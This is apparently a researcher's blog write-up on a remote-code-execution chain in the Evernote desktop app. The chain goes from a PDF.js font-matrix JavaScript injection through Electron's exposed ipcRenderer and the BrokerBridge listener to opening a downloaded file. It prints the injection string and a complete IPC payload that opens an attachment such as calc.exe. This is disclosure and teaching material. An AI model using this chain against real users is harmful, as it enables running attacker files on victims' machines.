Evernote RCE: From PDF.js font-injection to All-platform Electron exposed ipcRenderer with listened BrokerBridge Remote-Code Execution
By
July 10, 2024
Just this week, I discovered a critical Javascript Injection -> Remote-Code Execution in the Evernote app. By simply clicking the shared sugar-coated note with embedded font-injection malicious PDF, the attacker can arbitrary execute command & files spontaneously while invisibly by exploiting the preloaded-and-exposed ipcRenderer Electron Inter-Process-Communication API with the Evernote's built-in IPC event listener *'BrokerBridge'*in the Main Process. As much as I struggled for 6 hours (Even though I spent way long to writing this blog) from scratch in this fully-obscured massive application to create a 4-step call-chain IPC payload, I still think this will be great material to share and look at:) ( Funny-thing, I was on the wrong track for around 2 hours then realizingIPC is actually the key, meaning when I found this as 0day, I start to look for the sink for RCE rather the ipcRenderer related aspects )
In today's blog, we will be exploring the Evernote XSS->RCE journey that contains:
Understanding how
Electron'sMulti-ProcessModel,IPChandlers, andpreload.jsfunctions;Absorbing how
PDF.js'sfont-injectionJavaScript Injection works;Reversed-Engineering and debugging
Evernote'sasar-packedobscurated source from a250 million users(According to random reddit post) and16years maintainedElectronproject entirely fromNULLto1;Diving into
Electron->IPCevent communication in built real-life instance an how we exploited aRCEvector via twoInter-processbridges with complex designing.
PDF.js: Font-Injecting
The exploitation started the probably most used file format on earth -
Evernote as a great note integration application, allows users to embedded PDF files inside of note for viewing and marking them, indeed a wonderful feature for Evernote to implement, nevertheless, it also served as the starting point for our exploitation chain, turning a useful feature into a critical vulnerability.
For the integrated PDF interactions, Evernote used one of the mostly-used PDF plugin - PDF.js, which allows you to interact and interpret to PDFs with out these heavily-compiled C++ binaries; you can get easy access to PDFs by simply importing the pdfjs-dist package built with Javascript; For PDF.js to operate on production environments, the maintainer team had to develop their own logic and code for extracting and renderingPDF metadata, where the unexpected issue occurred.
Fondly fonts
The reason why we all use PDFs is because that PDFs can save file regardless different rendering environment, for example, the .docx file your teacher sent to you always look weirdly on your computer; as one of the superpower of PDFs, PDFs can embeds fonts in the metadata for further usage in the rendering process, which actually turned glyphs into curves like images (Also known as vectorization). For this to happened swiftly, PDF.js's optimizing team introduced pre-compiled path generator function of these glyphs:
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
// eslint-disable-next-line no-new-func
console.log(jsBuf.join(""));
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("") // Kaboom!
));
}
this is done by making a JavaScript
Functionobject with a body (jsBuf) containing the instructions that make up the path
However, as our hacker-instinct triggered, in case that we have control over the cmds being parsed by new Function(; it will be possible to control the execution flow of the PDFs since our payload will be evaluated by the parsed new Function( as well, thus, lets source-to-sink into how the source cmds can be parsed;
compileGlyph(code, glyphId) {
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
}
let fontMatrix = this.fontMatrix;
...
const cmds = [
{ cmd: "save" },
{ cmd: "transform", args: fontMatrix.slice() },
{ cmd: "scale", args: ["size", "-size"] },
];
this.compileGlyphImpl(code, cmds, glyphId);
cmds.push({ cmd: "restore" });
return cmds;
}
Jumping into compileGlyph, this function initializes commands for vectorization, processing and passing our watch-listed cmds. A critical point of concern is the construction of cmdtransform with the arguments fontMatrix.slice(), derived from this.fontMatrix. where PDF.js generates vectorization commands such as save, transform, and scale; Which is then parsed into the previous new Function( evaluation; But the million-dollar question here is how this.fontMatrix is parsed. By default, FontMatrix is set to [0.001, 0, 0, 0.001, 0, 0], leading us to speculate that it might originate as a numeric array from the metadata.
extractFontHeader(properties) {
let token;
while ((token = this.getToken()) !== null) {
if (token !== "/") {
continue;
}
token = this.getToken();
switch (token) {
case "FontMatrix":
const matrix = this.readNumberArray();
properties.fontMatrix = matrix;
break;
The extractFontHeader method seemly extracts the FontMatrix token value from the metadata, in this case with readNumberArray, meaning we will be entirely stuck with numerical inputs, making it not possible for Javascript Injections! Nevertheless, remember to never give up in finding solutions, in this case, our FontMatrix might also derives from the PartialEvaluator.translateFont(...) that loads tons of PDF attributes associated with font:
const properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
...
fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
...
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent: descriptor.get("Ascent"),
descent: descriptor.get("Descent"),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags: descriptor.get("Flags"),
italicAngle: descriptor.get("ItalicAngle") || 0,
...
};
Cool! the source of fontMatrix defined in PartialEvaluator.translateFont(...) doesn't seem to be numerical limited! allowed us to inject our javascript payload as fontMatrix -> compileGlyph -> new Function(; Nevertheless to exploit this, we must understand how fonts works in PDFs; where the font is actually consist of the /Font, /FontDescriptor and the /FontFile, structured like:
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
>>
endobj
Taking a look back at into fontMatrix reference-er, the dict.getArray("FontMatrix") actually referenced the /Font object, therefore, we can create an custom /Font object with our-own specified /FontMatrix
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
/FontMatrix [1 2 3 4 5 6] % <-----
>>
endobj
However, this payload won't work directly since our /FontMatrix will be referencing default matrix embedded inner the Type1 font, we can try to firstly import an Type1 font without internal FontMatrix definition, which as PDF.js defines PartialEvaluator.translateFont(...) will be replacing authoritative as the substitution of the default matrix, allows us to gain fully control over the suspected FontMatrix. Combined with this, we can try to turn the /FontMatrix [1 2 3 4 5] into something like /FontMatrix [1 2 3 4 5 (0\); alert\('PDF')], where the c.transform will be literally interpreted as /FontMatrix [1 2 3 4 5] and follows the alert\('foobar'); Allowing us to inject arbitrary Javascript into the PDF, which then will be interpreted as evaluated when the glyphs going through the pre-compiled path generator function; Allowing Arbitrary Javascript Injection!
Evernote: IPC & RCEs
Evernote, as one of the most-used application on the earth with 225-250 million users (according to this random reddit post); as we inspected Evernote's PDF integration feature, we found that Evernote is influenced by this catastrophic supply-chain attack of this PDF.js Javascript Injection as it's implementing PDF.js; as .pdf subfix file being embedded into the Evernote -> supernote, the PDF will be preloaded via a sort of re-packed customed pdfjs-dist to previewing! this allowed us to injection Arbitrary JavaScript into any supernote which will executes the injected JavaScript code in FontMatrix whenever the PDF is loaded;
For an normal penetration or bug-hunting journey, an Stored-XSS that can be triggered easy by examine a note seemed really powerful and influential since we can achieve account-overtaking, worming inflecting other dividual accounts, and viewing private-notes and fetch them to remote-listen-address... Nevertheless, as I furtherly exploration goes, I found that the rendering sink (XSS) in evernote clients actually takes place at document.location.origin -> app://evernote but not iframe-ed or webpack-ed! This in one hand forbids us for gaining direct access to the login tickets such as ducument.cookie and other evernote.com resources, but in other hand, allowed us for accessing the local privileged APIs and exposed object in the local domain! This made our XSS possible to RCE at the first extend!
As we promised, we will dig into how escalated this exploitation into Remote-Code Execution, but before that, there's something very important that we might need to understand: Electron's Multi-Process and IPC
Client: Electron and Multi-Process Model
For the most of times, people downloads the client version of application to get access to more features; For instances, local-file management, referencing resources on your hard-drives, screen-shooting and easy-access to clipboards etc; and for all of this to happens swiftly, easily, and securely; Electron - an open-source software framework based on Node.js and Chromium is introduced and used for 90% of desktop clients developments such as 1Password, Notion, draw.io, .... and of course our legendary Evernote; However, to prevent situation like unexpected injection of JavaScript escalate easily into remote-code execution, smart developer at electron introduced something very smart - The Multi-Process Model, which is also used in Chromium.
The Multi-Process Model isolated the main process (which have direct access to hardware, able to require external packages with require()) with the renderer process that generated for each tabs, in this case, your youtube tab will not be able to access DOM Trees, Sensitive Information on your bank website, while forbidden you from:
Execute arbitrary JavaScript in renderer (XSS or navigation to external sites)
Overwrite the built-in method which is used in preload or Electron internal code to own function
Trigger the use of overwritten function
Additionally, electron introduced the nodeIntegrations feature, with nodeIntegrations set as false, we can't directly execute-codes on you PC via require('child_process') which is a Node.js feature; same goes in Evernote, this mechanism prohibits us to directly execute codes via the compromised PDF.js integrated components, but here's still fun stuffs we can do with this XSS:
window.object referencing: accessing thewindow.top,window.location, redirecting to cat videosDOM-Tree Access(Current Process): Changing existingDOMtrees, modifying the note pagesClient-Side Request Forgery: Sending request viafetch()etc; (This depends on theCSPsetting)
Nevertheless, due to the domain setting of the PDF.js component, we don't have direct access over the document.cookie (Not the document.cookie you will expected); Thus there's nothing interesting worth spending our time one, instead, we are getting our Remote-Code Execution in a interest way: utilizing the IPC protocol and built-in BrokerBridge.
Before diving into the concept of IPC, we must know that it's not impossible for renderer process to interact with the external real-world outside of the sandbox. The magic depends on the "preload" script (yes the preload script introduced in our electron blog). Viewing through the source for any electron application, you will find that electron deals with new window-objects with a more complex way, instead, they commonly use something looks like this, with the electron's special createWindow method.
(lT = Mt.register("boron.actions.showEditorContextMenu", cT)),
(this.isCreatingWindow = !1),
this.trackHWUsage(),
this.window
);
} catch (e) {
return uT.error("Error while creating window", e), null;
} finally {
this.isCreatingWindow = !1;
}
}
async getMainBrowserWindowOpts() {
var e;
const t = await rT(hc, {}),
n = {
minHeight: 480,
minWidth: 840,
simpleFullscreen: !1,
webPreferences: {
plugins: !0,
nodeIntegration: !1,
contextIsolation: !0,
preload: L().resolve(Ps.mainPath, "preload.js"),
webSecurity: !0,
partition: Ts(),
spellcheck: !0,
webviewTag: !0,
sandbox: !1,
},
icon: s.nativeImage.createFromPath(Ps.appIconPath),
show: !1,
};
if (null !== (e = t.main) && void 0 !== e && e.screenDimensions)
return (
(n.x = t.main.screenDimensions.x),
(n.y = t.main.screenDimensions.y),
(n.width = t.main.screenDimensions.width),
(n.height = t.main.screenDimensions.height),
n
);
Looking at the webPreferences here, webPreferences specified contextIsolation, preload, partition, sandbox, where contextIsolation specified Multi-Process Model as we mentioned above (nodeIntegration is set to false by default, in case if it's turned on, we can require Node.js features easily via require(), contextIsolation set to true thus we can't directly Overwrite the built-in method). Nevertheless, the key to RCE in this case is the preload setting; which is pointing to L().resolve(Ps.mainPath, "preload.js").
As we introduce in the electron-math blog, the prelaoded scripts have direct access to Node.js feature due to they are loaded before the renderer process, where developers usually exposes additional API endpoint as feature for interactions that required Node.js feature such os.openPath etc. In our case, I found that Evernote aren't loading everything in the preload.js; Instead, they did it in a fancy but way more complex way:
const l = void 0,
d = (0, n.createLogger)("boron:preload"),
{ userAgentString: c } = s.Z;
o.contextBridge.exposeInMainWorld("userAgentString", { get: () => c }),
(window.onload = () => {
const e = {
applicationTitle: "Evernote",
applicationRole: "BoronPreload",
isAutoUpdateAllowed: l,
broker: t.Z,
localizedAppTitleKey: "Account.header.title",
objectPersistence: l,
triggerLogin: l,
triggerLogout: l,
initConduit: l,
shutdownConduit: l,
};
(0, a.j)(e);
}),
document.addEventListener("keydown", (e) => {
123 === e.which && o.ipcRenderer.invoke("toggleDevTools");
}),
window.addEventListener("error", (e) => {
d.error("Error :", e);
});
const { ionOpts: u } = s.Z;
(window.__ionOpts = u),
(window.electronApi = { ipcRenderer: o.ipcRenderer }),
o.contextBridge.exposeInMainWorld("electronApi", {
ipcRenderer: {
on: (e, t) => o.ipcRenderer.on(e, t),
send: (e, ...t) => o.ipcRenderer.send(e, ...t),
removeAllListeners: (e) => o.ipcRenderer.removeAllListeners(e),
invoke: (e, ...t) => o.ipcRenderer.invoke(e, ...t),
},
});
const p = o.ipcRenderer.sendSync("getWindowId");
o.contextBridge.exposeInMainWorld("electronWindowId", { get: () => p });
const { appVersion: m } = s.Z;
o.contextBridge.exposeInMainWorld("appVersion", {
get: () =>
m.startsWith("10")
? `Evernote ${m} / ${navigator.appVersion}`
: navigator.appVersion,
}),
Since the actual preload.js contain tons of translation chunks and other codes that aren't that helpful for the interpretation, I trimmed the key parts that will be helpful to our RCE journey. As here, we can see there's 4 APIs that exposed to us in the current context via the o.contextBridge.exposeInMainWorld( method through the contextBridge; They are the userAgentString which returns a your globally-stored User Agent string; toggleDevTools that allows you to open F12 (Actually I spent a hour figuring out how to open F12 debugging then I suddenly realize you can open it directly via F12); electronWindowId that returns the WindowID; appVersion that returns the appVersion, and finally, the million dollar API: electronApi, which allows us to Inter-Process Communication via the IPC Protocol.
As the Multi-Process Model got introduced into Electron, a method for Inter-Process Communication is required at the same time, here Electron introduced the ipcRenderer render method for solving this issue; the registered ipcRenderer in our preload.js allows 4 actions: on, send, removeAllListeners, invoke; which is the keystone for the Inter-Process Communication concept. For different process mostly between the Main Process and the Renderer Process, the ipcRenderer handle allows you to listen on a specific IPC Listener endpoint and communicate to other Process via these IPC Listener endpoints. (ipcRenderer.send only sends the message, while ipcRenderer.invoke waits for the feedback). Same happens in the case of Evernote, whenever Evernote needs to execute actions beyond the Renderer Process ability, Evernote will invoke a ipcRenderer.invoke into the Main Process.
In our case that we intended for a Remote-Code Execution with the previously found Javascript Injection, our best exploitation vector considering Evernote's features will be downloading and executing a malicious script file / elf soundlessly. Nevertheless, the million dollar question is that: How and which listener does Evernote sets for such action
Summary of the chapter: The
Javascript InjectioninEvernoteis found via theFont-Injectionvulnerability inPDF.jsComponent; Nevertheless, due tonodeIntgration,contectIsolation,triggering domainofElectron, we cannot either hijack user'scookiesnor directly requireNode.jsfeature as medium forRemote-Code Execution. However exposedipcRendererhandler inpreload.jsenables us toInter-processcommunicate with other listenIPCendpointsinMain Process, but what should we look for and how should we do it?
Virtual-to-Reality: BrokerBridge
Exposed ipcRenderer handler in the preload.js finally leads us the starting points for the RCE journey in Evernote, since Evernote's complex Electron structure and fully obscured source which we reverse-engineered from the app.asar; Finding this execution-chain for the ipcRenderer to the finally fetch and open action will need a much more hard-working, but at least, we know where to start.
By globally-matching the string "attachment", you will find about of 500 matches of "attachment" where most of them are in localization or some highly compressed chunks that needs prettier formatting for readability. Finding the actual handler in this tons of information is a tons of work at the same time. After searching for around 2 hours, you might be sensitive about the object 'boron' as it kept re-occurring whether as globally-exposed objections or in the localization file; which you will fin this method, the largest keystone for our RCE journey (where reverse-tracking the sink shell.openPath then constant x-referencing will probably leads you to)
Mt.register(
"boron.actions.openFileAttachment",
async ({ resource: e, url: t, noteGuid: n, appName: r }) => {
try {
if (!t) return;
const o = (await (0, ea.getCurrentUserID)()).split(":")[1],
a = lv({ resource: e, noteGuid: n, userID: o });
if (O().existsSync(a))
await cv({ filePath: a, resource: e, noteGuid: n, appName: r });
else {
const i = lv({
resource: e,
noteGuid: n,
userID: o,
oldPathOverride: !0,
});
O().existsSync(i) ? O().moveSync(i, a) : O().ensureFileSync(a);
const s = await (0, es.getResource)(t),
l = O().createWriteStream(a);
s.stream
.pipe(l)
.on("error", (e) => {
av.error(`Failed to save file: ${e}`),
jp("Message.openFileAttachment.failure");
})
.on("close", async () => {
bt.Z.isMac && (await uv(a)),
await cv({
filePath: a,
resource: e,
noteGuid: n,
appName: r,
});
});
}
} catch (e) {
av.error(`Error in openFileAttachment: ${e}`),
jp("Message.openFileAttachment.failure");
}
}
Due to the how the fully-obscured the codes is, is pretty much impossible to locate definition for each objects, even though the symbols for parsed arguments aren't obscured, it still too-vague for us directly construct a request to this boron.actions.openFileAttachment, even regardless this Mt.register is not registered under the ipcRenderer protocol rather something else; now, the more worth considering problem is how boron.actions.openFileAttachment can be invoked? what parameter we are required to parsed into to make it invoke shell.openPath (it's actually triggered in obscured cv() method in this context, you can know this by the remain argument symbols referencing to one sink you might reverse-engineered into search for sink shell.openPath as previously mention). If you kept looking for boron.actions.openFileAttachment, will leads you here: (This chunk is to much for Prettier to handle but we can still read it)
async function a(e){return i.execute({id:e})}const r=i},134295:(e,t,n)=>{n.d(t,{HH:()=>r,Un:()=>f,cJ:()=>d,dP:()=>l,iw:()=>m,jw:()=>s,oB:()=>c,u6:()=>u,uM:()=>p,xb:()=>a});var o=n(719959),i=n(593013);function a(e){if((0,i.Ld)())return o.default.call("boron.actions.showEditorContextMenu",e)}function r(e){if((0,i.Ld)())return o.default.call("boron.actions.setNativeFilesForDrag",e)}function s(e){if((0,i.Ld)())return o.default.call("boron.actions.setNativeFilesForCopy",e)}function l(e){return o.default.call("boron.actions.closePopupNoteWindows",e)}function c(e,t,n=!1){d(e,[t],n)}function d(e,t,n=!1){o.default.publish(`boron.action.dispatch.${e}`,null,{actions:t,moveFocus:n},!1)}function u({fileName:e,url:t}){return o.default.call("boron.actions.saveFileAttachment",{fileName:e,url:t})}function m({attachments:e}){return o.default.call("boron.actions.saveAttachments",{attachments:e})}function p({resource:e,url:t,noteGuid:n,appName:i}){return o.default.call("boron.actions.openFileAttachment",{resource:e,url:t,noteGuid:n,appName:i})}function f({resource:e,noteGuid:t}){return o.default.call("boron.actions.updateOpenedFileAttachment",{resource:e,noteGuid:t})}},341447:(e,t,n)=>{n
which is meaningless at all points since the o.default.call's o is equals to n(719959), the function is a integer passed into a function where another integer is passed in; Thus the only trick here, is to use dynamic debugging.
Dynamic Debugging: Step-in
By using Shift+Ctrl+F, you can globally search a string in the F12's Source menu, the Mt.register("boron.actions.openFileAttachment") related sink that you can find is actually under the 970.js -> function b({resource: e, url: t, noteGuid: n, appName: r}) {. Setting a breakpoint on it then press open attachment, the breakpoint will be triggered with all passed variable {e,t,n,r} shown on the right side, while full Call Stacks shown.
function b({resource: e, url: t, noteGuid: n, appName: r}) {
return a.Z.call("boron.actions.openFileAttachment", {
resource: e,
url: t,
noteGuid: n,
appName: r
})
}
Nevertheless, these information aren't still efficient enough to directly call the boron.actions.openFileAttachment via b({resource: e, url: t, noteGuid: n, appName: r}) nor a.Z.call("boron.actions.openFileAttachment", since as much we can reference the local variable as we want in this paused frame, in the Javascript Injection context will be came not-callable since these functions are neither exposeInMain or expose in other ways, instead, we will needs to Step-in into the function.
Step-In #1:
boronMain.jswith719959: (_,E,T)=>{ T.d(E, { Z: ()=>O }); var e = T(686200); const O = new class { subscribe(_, E, T) { return (0, e.Z)().broker.subscribe(_, E, T), in which we can already see our good friend.broker.subscribe. Another step-in, we will reach;Step-In #2:
970.js->function b({resource: e, url: t, noteGuid: n, appName: r}) {being Revoked. Nevertheless the file is not executed / opened;Step-In #3:
boronMain.jswithcall = (_,E)=>(0, e.Z)().broker.call(_, E);: New state, where_ = boron.actions.openFileAttachment,E: { "resource": { "hash": "4a4be40c96ac6314e91d93f38043a634", "mime": "application/octet-stream", "rect": { "left": 56, "top": 155, "width": 376.0000305175781, "height": 43.42857360839844 }, "state": "loaded", "reference": "3298a792-a64e-4fc6-b405-19b28d660343", "selected": true, "url": "en-cache://tokenKey%3D%22AuthToken%3AUser%3A246318479%22+34154c29-b864-0f2d-fab9-0244a07d9495+4a4be40c96ac6314e91d93f38043a634+https://www.evernote.com/shard/s594/res/54aefdb1-9c1b-008f-09a1-450408bcca92", "isInk": false, "filesize": 4, "filename": "cat.exe" }, "url": "en-cache://tokenKey%3D%22AuthToken%3AUser%3A246318479%22+34154c29-b864-0f2d-fab9-0244a07d9495+4a4be40c96ac6314e91d93f38043a634+https://www.evernote.com/shard/s594/res/54aefdb1-9c1b-008f-09a1-450408bcca92", "noteGuid": "34154c29-b864-0f2d-fab9-0244a07d9495", "appName": "" }Step-In #4 & Step-In #5: Passing steps;
Step-In #6:
boronMain.jsatcall: (_,E)=>new Promise(((T,e)=>{; Reaching to:window.electronApi.ipcRenderer.send("BrokerBridge"call: (_,E)=>new Promise(((T,e)=>{ const O = r(); R[O] = ({id: _, error: E, result: O})=>{ delete R[_], E ? e(E) : T(O) } , window.electronApi.ipcRenderer.send("BrokerBridge", { action: o.CALL, id: O, topics: _, data: E }) } )), clearTopics: function(_) { window.electronApi.ipcRenderer.send("BrokerBridge", { action: o.CLEARTOPICS, topics: _ }) } };
RCEs: Bridge-to-Bridge, Chain-to-Chain
Here finally reached a state with the exposeInMainWorld -> ipcRenderer.send that can be access in the preloaded window.electronApi.ipcRenderer.send! By setting another breakpoint at exactly window.electronApi.ipcRenderer.send, we can examinate any data being parsed from the function b({resource: e, url: t, noteGuid: n, appName: r}) { to here, and the local parameter topic, id, topic, data,
where by step-in further you can see how the ipcRenderer.send is being parsed into global_init's "./lib/renderer/api/ipc-renderer.ts": (e,t,r)=>{ but unfortunately you can't step-in to the main.js since not loaded in current context. But nevertheless, with BrokerBridge as a keywords for us, we can locate the IPC Listener for BrokerBridge in the main.js:308544; The s.ipcMain.on("BrokerBridge", async (e, t) => { with listened switch cases. HELLO, REGISTER, CALL. From what we seen at main.js:291697, we can also take a wild guess the boron.actions.openFileAttachment's Mt.register( is actually binding the boron.actions.openFileAttachment to the BrokerBridge for cross-context usage;
async onAppReadyPreConduit() {
var t;
await ZA(),
on.dispatch({ type: en.LOCALIZATION_READY, user: null }),
s.ipcMain.on("BrokerBridge", async (e, t) => {
const { sender: n } = e,
{
id: r,
action: o,
topics: a,
type: i,
data: s,
saveMessage: l,
replayMessage: u,
} = t,
d = Fs[n.id];
switch (o) {
// CASE HELLO
case Is.HELLO:
Fs[n.id] = {
unsubscribers: {},
unregistrants: {},
callbacks: {},
};
break;
// CASE REGISTER
case Is.REGISTER:
if (!d) {
Us.warn(
`Cannot register id ${r}. No sender window with id ${n.id}`
);
break;
}
d.unregistrants[r] = Mt.register(
a,
(e) =>
new Promise((t, o) => {
const a = bo().v4();
(d.callbacks[a] = ({ id: e, result: n, error: r }) => {
delete d.callbacks[e], r ? o(r) : t(n);
}),
n.send("BrokerBridge", {
action: Is.RUN_REGISTRANT,
id: r,
cbid: a,
payload: e,
});
})
);
break;
// CASE CALL
case Is.CALL:
try {
try {
const e = await Mt.call(a, s);
n.send("BrokerBridge", {
action: Is.CALL,
id: r,
result: e,
});
} catch (e) {
Us.warn(`Error: ${e.message}`),
(p = e),
Object.getOwnPropertyNames(p).forEach((e) =>
Object.defineProperty(p, e, {
...Object.getOwnPropertyDescriptor(p, e),
enumerable: !0,
})
),
n.send("BrokerBridge", {
action: Is.CALL,
id: r,
error: e,
});
}
} catch (e) {
Us.error(`Error: ${e.message}`);
}
break;
Here as the debugging information told us (send: (e,...n)=>r.ipcRenderer.send(e, ...n),: e: BrokerBridge, { "action": "Bridge/Call", "id": "11a261fa-3f93-4811-b7b8-a50f3a25f506", "topics": "boron.spidersense.track", "data": { "categories": [ "delta", "remote_config", "empty" ], "severity": "info", "info": {} } }) the ipcRender actually sent a request to the ipcMain Listened endpoint: s.ipcMain.on("BrokerBridge", async (e, t) => {, in which the "action": "Bridge/Call" specified into the case Is.CALL: switch, which runs Mt.call(a, s); (same Mt) that we firstly found Mt.register("boron.actions.openFileAttachment",, calling the cv({ filePath: a, resource: e, noteGuid: n, appName: r });, opening the file, RCE!; Thus, we created the payload:
window.top.electronApi.ipcRenderer.send('BrokerBridge', {action: 'Bridge/Call',id: '7e803824-d666-4ffe-9ebb-39ac1bd7856f',topics: 'boron.actions.openFileAttachment',data:{'resource': {'hash':'2f82623f9523c0d167862cad0eff6806','mime': 'application/octet-stream','rect': {'left': 68,'top': 155,'width': 728.1428833007812,'height': 43.42857360839844},'state': 'loaded','reference': '22cad1af-d431-4af6-b818-0e34f9ff150b','selected': true,'url': 'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-3aaa-6ad0-a9b7958d402f','isInk': false,'filesize': 45056,'filename': 'calc.exe'},'url':'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-3aaa-6ad0-a9b7958d402f','noteGuid': 'f4cbd0d2-f670-52a7-7ea7-5720d65614fd','appName': ''}})
Summarizing the call-chain:
Main Process:
Mt.register("boron.actions.openFileAttachment"got registered under theMain Process -> Mt;IPC Listener -> s.ipcMain.on("BrokerBridge", async (e, t) => {registered underIPCNameBrokerBridge;s.ipcMain.on("BrokerBridge", async (e, t) => { → const e = await Mt.call(a, s);got register under theIPC EndpointasIs.CALL
Renderer Process (Victim Process):
Victim Loads malicious Shared Note
Malicious
Font-InjectionPDF invokedPDF.jspreviewingEmbedded Payload in
/FontMatrixevaluated and executed incorrectly viapre-compiled path generatorfunction of thec.transform→function, triggeringJavascript injection; Execution of the payload.
Payload invoked
window.top.electronApi.ipcRenderer.send(ipcRenderer.sent->BrokerBridgeinvokedIPC Listener->s.ipcMain.on("BrokerBridge", async (e, t) => {Parameter
action->Bridge/CalltriggeredBrokerBridge->Is.CALLvia switchBrokerBridge->Is.CALLtriggeredconst e = await Mt.call(a, s);via execution-flowMt.call(calledtopics:boron.actions.openFileAttachmentwithdataMt.register("boron.actions.openFileAttachment"receiveMt.call(a, s);signalTriggered
await cv({ filePath: a, resource: e, noteGuid: n, appName: r });'sync'(download) attachment at the same-times.shell.openPath(e);Executed *'sync'(download) malicious script-file,RCE
References
PDF.js: Font-Injecting referenced https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/